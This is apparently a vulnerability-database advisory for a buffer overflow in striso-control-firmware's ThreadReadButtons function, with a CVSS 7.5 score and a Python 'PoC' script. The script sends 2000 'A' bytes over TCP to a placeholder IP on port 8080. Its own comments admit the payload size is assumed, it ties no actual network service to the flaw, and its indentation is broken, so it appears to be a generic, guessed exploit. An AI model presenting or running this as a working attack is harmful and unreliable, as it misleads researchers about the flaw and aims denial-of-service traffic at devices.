striso-control-firmware 54c9722 is vulnerable to Buffer Overflow in function ThreadReadButtons.
CVSS Details
CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Configurations (Affected Products)
No configuration data available.
striso-control-firmware 54c9722
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket
# Target IP and Port (Replace with actual target)
TARGET_IP = "192.168.1.100"
TARGET_PORT = 8080
# Create a payload larger than the buffer size in ThreadReadButtons
# Exact size depends on firmware analysis, assuming a large padding
payload = b'A' * 2000
try:
# Establish connection
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET_IP, TARGET_PORT))
# Send malicious payload to trigger buffer overflow
s.send(payload)
print("[+] Payload sent successfully.")
s.close()
except Exception as e:
print(f"[-] Error: {e}")